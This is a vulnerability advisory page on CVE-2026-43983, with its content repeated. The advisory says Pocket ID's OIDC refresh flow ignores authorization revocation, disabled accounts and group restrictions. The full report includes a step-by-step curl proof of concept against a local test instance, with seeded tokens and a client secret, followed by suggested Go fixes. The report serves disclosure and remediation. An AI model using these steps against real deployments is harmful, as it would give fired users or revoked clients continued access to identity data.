Answer in brief
CVE-2026-43983 records a High severity secret exfiltration vulnerability in Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Answer in brief
CVE-2026-43983 records a High severity secret exfiltration vulnerability in Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Update github.com/pocket-id/pocket-id/backend to 0.0.0-20260419162744-978ac87deffe if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanSecret Exfiltration describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-43983 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/pocket-id/pocket-id/backendgo | <0.0.0-20260419162744-978ac87deffe | 0.0.0-20260419162744-978ac87deffe |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-43983 records a High severity secret exfiltration vulnerability in Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for github.com/pocket-id/pocket-id/backend.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/pocket-id/pocket-id/backend to 0.0.0-20260419162744-978ac87deffe if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanSecret Exfiltration describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-43983 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/pocket-id/pocket-id/backendgo | <0.0.0-20260419162744-978ac87deffe | 0.0.0-20260419162744-978ac87deffe |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-43983 records a High severity secret exfiltration vulnerability in Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for github.com/pocket-id/pocket-id/backend.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard# OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions ## Summary The `createTokenFromRefreshToken` function (oidc_service.go:451) validates the refresh token's cryptographic integrity but does not re-validate the user's current authorization state before issuing new tokens. This allows three bypasses: 1. **Authorization revocation bypass**: After a user revokes an OIDC client's authorization, the client can continue refreshing tokens indefinitely because `RevokeAuthorizedClient` does not delete associated refresh tokens, and the refresh flow does not check if the authorization record still exists. 2. **Disabled user bypass**: After an admin disables a user account, pre-existing refresh tokens continue to work because the OIDC token endpoint does not check `user.Disabled`. Session-based access is properly blocked by auth middleware, but the OIDC refresh path bypasses it entirely. 3. **Group restriction bypass**: After removing a user from an OIDC client's allowed user groups, the refresh token continues to work because `createTokenFromRefreshToken` does not call `IsUserGroupAllowedToAuthorize`. Each refresh rotates the token with a fresh 30-day expiry, enabling perpetual access. ## Target - **Repository**: pocket-id/pocket-id - **Version**: HEAD (626adbf), also affects v2.5.0 and all versions with refresh token support ## Root Cause `createTokenFromRefreshToken` (oidc_service.go:451-547) performs the following checks on a refresh request: 1. Verify the signed refresh token JWT (line 457) -- **checked** 2. Verify client credentials (line 467) -- **checked** 3. Look up stored refresh token by hash, expiry, user_id, client_id (line 478-495) -- **checked** 4. Verify refresh token belongs to the requesting client (line 498) -- **checked** It does NOT check: - Whether a `UserAuthorizedOidcClient` record still exists for the user-client pair -- **MISSING** - Whether `user.Disabled` is false -- **MISSING** - Whether `IsUserGroupAllowedToAuthorize` passes for group-restricted clients -- **MISSING** (groups are loaded at line 481 via `Preload("User.UserGroups")` but never validated) Meanwhile, `RevokeAuthorizedClient` (line 1445-1471) only deletes the `UserAuthorizedOidcClient` record. It does not delete associated `OidcRefreshToken` records. There is no FK cascade between these tables (the FK cascade on `oidc_refresh_tokens` is only on user DELETE and client DELETE, not on authorization record deletion). ## Proof of Concept (Verified Live) Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. All 20 test assertions pass. ### Variant 1: Authorization Revocation Bypass ```bash # Reset test DB curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true # Authenticate as Tim (admin user, seeded OTA token) curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV # Authorize Nextcloud client AUTH_CODE=$(curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \ -H "Content-Type: application/json" \ -d '{"clientId":"3654a746-35d4-4321-ac61-0bdcff2b4055","scope":"openid profile email groups","callbackURL":"http://nextcloud/auth/callback"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['code'])") # Exchange for tokens (including refresh token) TOKENS=$(curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=authorization_code&code=$AUTH_CODE&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY&redirect_uri=http://nextcloud/auth/callback") REFRESH=$(echo $TOKENS | python3 -c "import json,sys; print(json.load(sys.stdin)['refresh_token'])") # User revokes authorization (returns 204) curl -s -o /dev/null -w "%{http_code}" -b cookies.txt \ -X DELETE http://localhost:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055 # Output: 204 # ATTACK: Refresh token STILL WORKS after revocation curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY" # Returns 200 with new access_token, id_token (containing PII), and refresh_token (new 30-day expiry) ``` **Live output**: Introspection confirms `active: true`. ID token contains: `name: Tim Cook, email: [email protected], groups: [designers, developers]`. ### Variant 2: Disabled User Bypass ```bash # (After setup and obtaining refresh token as above) # Admin disables Tim's account curl -s -b cookies.txt -X PUT http://localhost:1411/api/users/f4b89dc2-62fb-46bf-9f5f-c34f4eafe93e \ -H "Content-Type: application/json" \ -d '{"disabled":true,"username":"tim","email":"[email protected]","firstName":"Tim","lastName":"Cook","isAdmin":true}' # Returns 200 with disabled: true # Session access properly blocked (auth middleware checks Disabled) curl -s -o /dev/null -w "%{http_code}" -b cookies.txt http://localhost:1411/api/users/me # Output: 401 # ATTACK: Refresh token STILL WORKS for disabled user curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY" # Returns 200 with full token set # Userinfo also works for disabled user curl -s -H "Authorization: Bearer $NEW_ACCESS" http://localhost:1411/api/oidc/userinfo # Returns: {"name":"Tim Cook","email":"[email protected]",...} ``` **Impact**: The admin kill switch for terminating employee access is completely bypassed. A fired employee's pre-existing OIDC refresh tokens continue to grant access to all downstream services. ### Variant 3: Group Restriction Bypass ```bash # (After setup, authorize Immich client which is group-restricted to "designers") # Tim is in designers group, gets authorized and obtains refresh token # Remove Tim from designers group (keep only Craig) curl -s -b cookies.txt -X PUT http://localhost:1411/api/user-groups/adab18bf-f89d-4087-9ee1-70ff15b48211/users \ -H "Content-Type: application/json" -d '{"userIds":["1cd19686-f9a6-43f4-a41f-14a0bf5b4036"]}' # Tim no longer in designers # ATTACK: Refresh token STILL WORKS after group removal # Returns 200 with new tokens ``` ## Impact The three variants share the same root cause but have different real-world implications: 1. **Authorization revocation is ineffective**: Users who revoke an OIDC client's access have a false sense of security. A malicious or compromised client retains indefinite access to the user's identity data through token rotation. The id_token issued during refresh contains full PII (name, email, groups, custom claims) regardless of the userinfo endpoint's authorization check. 2. **Account disabling does not terminate OIDC access**: This is the highest-severity variant. When an organization terminates an employee and disables their Pocket ID account, all session-based access is correctly blocked. But any OIDC client that obtained a refresh token before the disabling continues to have full access. In enterprise environments where Pocket ID gates access to sensitive services (Git, CI/CD, infrastructure), this creates a persistent backdoor. 3. **Group-based access control is only enforced at authorization time**: Group restrictions on OIDC clients (e.g., "only the infrastructure team can access the CI/CD client") can be bypassed by anyone who obtained a refresh token before being removed from the group. ## Related GitHub issue #1390 reports a similar pattern: refresh tokens are not deleted when a session ends via the end-session endpoint. Same root cause (refresh token lifecycle detached from authorization state), different entry point. ## Suggested Fix ### Primary fix: Re-validate authorization state in createTokenFromRefreshToken Add the following checks after the refresh token lookup (after line 495): ```go // Check 1: Verify user is not disabled if storedRefreshToken.User.Disabled { return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{} } // Check 2: Verify UserAuthorizedOidcClient still exists var authorizedClient model.UserAuthorizedOidcClient err = tx.WithContext(ctx). Where("user_id = ? AND client_id = ?", storedRefreshToken.UserID, input.ClientID). First(&authorizedClient).Error if errors.Is(err, gorm.ErrRecordNotFound) { // Authorization was revoked - delete this refresh token and reject tx.Delete(&storedRefreshToken) return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{} } // Check 3: Re-verify group restrictions if !IsUserGroupAllowedToAuthorize(storedRefreshToken.User, client) { return CreatedTokens{}, &common.OidcAccessDeniedError{} } ``` ### Secondary fix: Delete refresh tokens on authorization revocation In `RevokeAuthorizedClient`, also delete all refresh tokens for the user-client pair: ```go // After deleting the authorized client record err = tx.WithContext(ctx). Where("user_id = ? AND client_id = ?", userID, clientID). Delete(&model.OidcRefreshToken{}).Error if err != nil { return err } ``` Both fixes should be applied together (defense in depth). ## Self-Review - **Is this by-design?** No. The revocation feature, the disabled flag, and group restrictions all exist to control access. The refresh flow bypassing all three is a bug, not a feature. - **Are there upstream bounds?** No. Refresh tokens are stored independently. No FK cascade, no periodic cleanup, no validation of authorization state. - **Honest weaknesses**: - Variant 1 (revocation): The attacker must be the OIDC client operator (they need client credentials and existing refresh token). Userinfo endpoint does return 404 after revocation, which is a partial mitigation. But the id_token issued during refresh already contains all PII. - All variants: Requires a pre-existing refresh token, so the access must have been legitimately granted at some point. - **Existing reports**: Issue #1390 covers the related end-session case. No prior security reports for the revocation/disabled/group variants. Koda Reef
# OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions ## Summary The `createTokenFromRefreshToken` function (oidc_service.go:451) validates the refresh token's cryptographic integrity but does not re-validate the user's current authorization state before issuing new tokens. This allows three bypasses: 1. **Authorization revocation bypass**: After a user revokes an OIDC client's authorization, the client can continue refreshing tokens indefinitely because `RevokeAuthorizedClient` does not delete associated refresh tokens, and the refresh flow does not check if the authorization record still exists. 2. **Disabled user bypass**: After an admin disables a user account, pre-existing refresh tokens continue to work because the OIDC token endpoint does not check `user.Disabled`. Session-based access is properly blocked by auth middleware, but the OIDC refresh path bypasses it entirely. 3. **Group restriction bypass**: After removing a user from an OIDC client's allowed user groups, the refresh token continues to work because `createTokenFromRefreshToken` does not call `IsUserGroupAllowedToAuthorize`. Each refresh rotates the token with a fresh 30-day expiry, enabling perpetual access. ## Target - **Repository**: pocket-id/pocket-id - **Version**: HEAD (626adbf), also affects v2.5.0 and all versions with refresh token support ## Root Cause `createTokenFromRefreshToken` (oidc_service.go:451-547) performs the following checks on a refresh request: 1. Verify the signed refresh token JWT (line 457) -- **checked** 2. Verify client credentials (line 467) -- **checked** 3. Look up stored refresh token by hash, expiry, user_id, client_id (line 478-495) -- **checked** 4. Verify refresh token belongs to the requesting client (line 498) -- **checked** It does NOT check: - Whether a `UserAuthorizedOidcClient` record still exists for the user-client pair -- **MISSING** - Whether `user.Disabled` is false -- **MISSING** - Whether `IsUserGroupAllowedToAuthorize` passes for group-restricted clients -- **MISSING** (groups are loaded at line 481 via `Preload("User.UserGroups")` but never validated) Meanwhile, `RevokeAuthorizedClient` (line 1445-1471) only deletes the `UserAuthorizedOidcClient` record. It does not delete associated `OidcRefreshToken` records. There is no FK cascade between these tables (the FK cascade on `oidc_refresh_tokens` is only on user DELETE and client DELETE, not on authorization record deletion). ## Proof of Concept (Verified Live) Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. All 20 test assertions pass. ### Variant 1: Authorization Revocation Bypass ```bash # Reset test DB curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true # Authenticate as Tim (admin user, seeded OTA token) curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV # Authorize Nextcloud client AUTH_CODE=$(curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \ -H "Content-Type: application/json" \ -d '{"clientId":"3654a746-35d4-4321-ac61-0bdcff2b4055","scope":"openid profile email groups","callbackURL":"http://nextcloud/auth/callback"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['code'])") # Exchange for tokens (including refresh token) TOKENS=$(curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=authorization_code&code=$AUTH_CODE&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY&redirect_uri=http://nextcloud/auth/callback") REFRESH=$(echo $TOKENS | python3 -c "import json,sys; print(json.load(sys.stdin)['refresh_token'])") # User revokes authorization (returns 204) curl -s -o /dev/null -w "%{http_code}" -b cookies.txt \ -X DELETE http://localhost:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055 # Output: 204 # ATTACK: Refresh token STILL WORKS after revocation curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY" # Returns 200 with new access_token, id_token (containing PII), and refresh_token (new 30-day expiry) ``` **Live output**: Introspection confirms `active: true`. ID token contains: `name: Tim Cook, email: [email protected], groups: [designers, developers]`. ### Variant 2: Disabled User Bypass ```bash # (After setup and obtaining refresh token as above) # Admin disables Tim's account curl -s -b cookies.txt -X PUT http://localhost:1411/api/users/f4b89dc2-62fb-46bf-9f5f-c34f4eafe93e \ -H "Content-Type: application/json" \ -d '{"disabled":true,"username":"tim","email":"[email protected]","firstName":"Tim","lastName":"Cook","isAdmin":true}' # Returns 200 with disabled: true # Session access properly blocked (auth middleware checks Disabled) curl -s -o /dev/null -w "%{http_code}" -b cookies.txt http://localhost:1411/api/users/me # Output: 401 # ATTACK: Refresh token STILL WORKS for disabled user curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY" # Returns 200 with full token set # Userinfo also works for disabled user curl -s -H "Authorization: Bearer $NEW_ACCESS" http://localhost:1411/api/oidc/userinfo # Returns: {"name":"Tim Cook","email":"[email protected]",...} ``` **Impact**: The admin kill switch for terminating employee access is completely bypassed. A fired employee's pre-existing OIDC refresh tokens continue to grant access to all downstream services. ### Variant 3: Group Restriction Bypass ```bash # (After setup, authorize Immich client which is group-restricted to "designers") # Tim is in designers group, gets authorized and obtains refresh token # Remove Tim from designers group (keep only Craig) curl -s -b cookies.txt -X PUT http://localhost:1411/api/user-groups/adab18bf-f89d-4087-9ee1-70ff15b48211/users \ -H "Content-Type: application/json" -d '{"userIds":["1cd19686-f9a6-43f4-a41f-14a0bf5b4036"]}' # Tim no longer in designers # ATTACK: Refresh token STILL WORKS after group removal # Returns 200 with new tokens ``` ## Impact The three variants share the same root cause but have different real-world implications: 1. **Authorization revocation is ineffective**: Users who revoke an OIDC client's access have a false sense of security. A malicious or compromised client retains indefinite access to the user's identity data through token rotation. The id_token issued during refresh contains full PII (name, email, groups, custom claims) regardless of the userinfo endpoint's authorization check. 2. **Account disabling does not terminate OIDC access**: This is the highest-severity variant. When an organization terminates an employee and disables their Pocket ID account, all session-based access is correctly blocked. But any OIDC client that obtained a refresh token before the disabling continues to have full access. In enterprise environments where Pocket ID gates access to sensitive services (Git, CI/CD, infrastructure), this creates a persistent backdoor. 3. **Group-based access control is only enforced at authorization time**: Group restrictions on OIDC clients (e.g., "only the infrastructure team can access the CI/CD client") can be bypassed by anyone who obtained a refresh token before being removed from the group. ## Related GitHub issue #1390 reports a similar pattern: refresh tokens are not deleted when a session ends via the end-session endpoint. Same root cause (refresh token lifecycle detached from authorization state), different entry point. ## Suggested Fix ### Primary fix: Re-validate authorization state in createTokenFromRefreshToken Add the following checks after the refresh token lookup (after line 495): ```go // Check 1: Verify user is not disabled if storedRefreshToken.User.Disabled { return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{} } // Check 2: Verify UserAuthorizedOidcClient still exists var authorizedClient model.UserAuthorizedOidcClient err = tx.WithContext(ctx). Where("user_id = ? AND client_id = ?", storedRefreshToken.UserID, input.ClientID). First(&authorizedClient).Error if errors.Is(err, gorm.ErrRecordNotFound) { // Authorization was revoked - delete this refresh token and reject tx.Delete(&storedRefreshToken) return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{} } // Check 3: Re-verify group restrictions if !IsUserGroupAllowedToAuthorize(storedRefreshToken.User, client) { return CreatedTokens{}, &common.OidcAccessDeniedError{} } ``` ### Secondary fix: Delete refresh tokens on authorization revocation In `RevokeAuthorizedClient`, also delete all refresh tokens for the user-client pair: ```go // After deleting the authorized client record err = tx.WithContext(ctx). Where("user_id = ? AND client_id = ?", userID, clientID). Delete(&model.OidcRefreshToken{}).Error if err != nil { return err } ``` Both fixes should be applied together (defense in depth). ## Self-Review - **Is this by-design?** No. The revocation feature, the disabled flag, and group restrictions all exist to control access. The refresh flow bypassing all three is a bug, not a feature. - **Are there upstream bounds?** No. Refresh tokens are stored independently. No FK cascade, no periodic cleanup, no validation of authorization state. - **Honest weaknesses**: - Variant 1 (revocation): The attacker must be the OIDC client operator (they need client credentials and existing refresh token). Userinfo endpoint does return 404 after revocation, which is a partial mitigation. But the id_token issued during refresh already contains all PII. - All variants: Requires a pre-existing refresh token, so the access must have been legitimately granted at some point. - **Existing reports**: Issue #1390 covers the related end-session case. No prior security reports for the revocation/disabled/group variants. Koda Reef